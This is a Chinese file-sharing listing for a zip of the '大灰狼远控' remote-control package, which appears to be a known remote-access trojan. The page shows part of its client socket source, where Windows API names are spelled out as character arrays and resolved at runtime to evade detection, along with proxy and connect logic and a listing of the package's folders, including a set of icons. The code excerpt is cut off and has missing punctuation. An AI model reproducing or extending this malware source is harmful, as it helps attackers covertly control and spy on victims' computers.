• 大小: 5.73MB
    文件类型: .zip
    金币: 2
    下载: 1 次
    发布日期: 2024-02-01
  • 语言: 其他
  • 标签: 大灰狼  

资源简介

大灰狼远程控制

资源截图

代码片段和文件信息

// ClientSocket.cpp: implementation of the CClientSocket class.
//
//////////////////////////////////////////////////////////////////////

#include “StdAfx.h“
#include “Declare.h“   //动态调用库函数
#include “ClientSocket.h“
#include “.\common\zlib\zlib.h“

#include 
#include “common/Manager.h“
#include “common/until.h“
#pragma comment(lib “ws2_32.lib“)
#include “Myfunction.h“  //自定义函数

extern Myfunction *Gyfunction;
//////////////////////////////////////////////////////////////////////

typedef int
(WSAAPI
*WSAIoctlT)(
    IN SOCKET s
    IN DWORD dwIoControlCode
    IN LPVOID lpvInBuffer
    IN DWORD cbInBuffer
    OUT LPVOID lpvOutBuffer
    IN DWORD cbOutBuffer
    OUT LPDWORD lpcbBytesReturned
    IN LPWSAOVERLAPPED lpOverlapped
    IN LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
    );

//////////////////////////////////////////////////////////////////////

int CClientSocket::m_nProxyType = PROXY_NONE;
char CClientSocket::m_strProxyHost[256] = {0};
UINT CClientSocket::m_nProxyPort = 1080;
char CClientSocket::m_strUserName[256] = {0};
char CClientSocket::m_strPassWord[256] = {0};

CClientSocket::CClientSocket()
{
WSADATA wsaData;
char BrmAP22[] = {‘C‘‘r‘‘e‘‘a‘‘t‘‘e‘‘E‘‘v‘‘e‘‘n‘‘t‘‘A‘‘\0‘};
CreateEventAT pCreateEventA=(CreateEventAT)GetProcAddress(LoadLibrary(“KERNEL32.dll“)BrmAP22);
  WSAStartup(MAKEWORD(2 2) &wsaData);
m_hEvent = pCreateEventA(NULL true false NULL);
m_bIsRunning = false;
m_Socket = INVALID_SOCKET;
// Packet Flag;
BYTE bPacketFlag[] = {‘K‘ ‘u‘ ‘G‘ ‘o‘ ‘u‘};
Gyfunction->my_memcpy(m_bPacketFlag bPacketFlag sizeof(bPacketFlag));
}

CClientSocket::~CClientSocket()
{
m_bIsRunning = false;
    char BrmAP30[] = {‘W‘‘a‘‘i‘‘t‘‘F‘‘o‘‘r‘‘S‘‘i‘‘n‘‘g‘‘l‘‘e‘‘O‘‘b‘‘j‘‘e‘‘c‘‘t‘‘\0‘};
    WaitForSingleobjectT pWaitForSingleobject=(WaitForSingleobjectT)GetProcAddress(LoadLibrary(“KERNEL32.dll“)BrmAP30);
pWaitForSingleobject(m_hWorkerThread INFINITE);

if (m_Socket != INVALID_SOCKET)
Disconnect();

char BrmAP29[] = {‘C‘‘l‘‘o‘‘s‘‘e‘‘H‘‘a‘‘n‘‘d‘‘l‘‘e‘‘\0‘};
CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary(“KERNEL32.dll“)BrmAP29);
pCloseHandle(m_hWorkerThread);
pCloseHandle(m_hEvent);
WSACleanup();
}

bool CClientSocket::Connect(LPCTSTR lpszHost UINT nPort)
{
// 一定要清除一下,不然socket会耗尽系统资源
Disconnect();
// 重置事件对像
ResetEventT pResetEvent=(ResetEventT)GetProcAddress(LoadLibrary(“KERNEL32.dll“)“ResetEvent“);
pResetEvent(m_hEvent);
m_bIsRunning = false;

if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
return false;
m_Socket = socket(AF_INET SOCK_STREAM IPPROTO_TCP); 

if (m_Socket == SOCKET_ERROR)   

return false;   
}

hostent* pHostent = NULL;
if (m_nProxyType != PROXY_NONE)
pHostent = gethostbyname(m_strProxyHost);
else
pHostent = gethostbyname(lpszHost);

i

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2013-03-07 15:08  大灰狼远控V5.52(2013稳定版)\
     目录           0  2013-03-07 15:09  大灰狼远控V5.52(2013稳定版)\Bin\
     目录           0  2013-03-07 15:08  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\
     文件       25214  2006-12-10 21:06  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\01.ico
     文件       22486  2006-11-26 01:37  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\02.ico
     文件       19790  2007-03-17 23:11  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\03.ico
     文件        3262  2012-11-11 10:07  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\04.ico
     文件       14742  2006-11-13 21:40  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\05.ico
     文件        8478  2001-04-02 18:32  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\06.ico
     文件       11886  2001-03-22 21:33  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\07.ico
     文件        1078  1998-10-26 05:37  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\08.ico
     文件        8478  2001-03-21 13:52  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\09.ico
     文件       10134  2011-06-12 20:17  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\10.ico
     文件        2238  1999-08-24 13:13  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\11.ico
     文件        2238  1999-08-24 13:14  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\12.ico
     文件        1078  1998-06-22 07:06  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\13.ico
     文件        1078  2003-01-10 20:36  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\14.ICO
     文件       11502  2001-04-02 18:59  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\15.ico
     文件       25214  2012-07-07 16:29  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\16.ico
     文件       18718  2012-07-08 09:20  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\17.ICO
     文件       99678  2010-03-16 09:37  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\18.ico
     文件      161862  2006-06-12 18:00  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\19.ico
     文件       99678  2010-11-11 17:53  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\20.ico
     文件      164486  2009-07-13 23:54  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\21.ico
     文件      100614  2010-04-01 18:24  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\22.ico
     文件        1662  2009-01-06 18:15  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\23.ico
     文件       25214  2012-06-16 23:18  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\24.ico
     文件      277301  2010-05-24 20:09  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\25.ico
     文件       17542  2011-04-23 09:07  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\26.ico
     文件       16518  2011-05-29 13:05  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\27.ico
     文件       28902  2009-06-25 20:45  大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\28.ico
............此处省略95个文件信息

评论

共有 条评论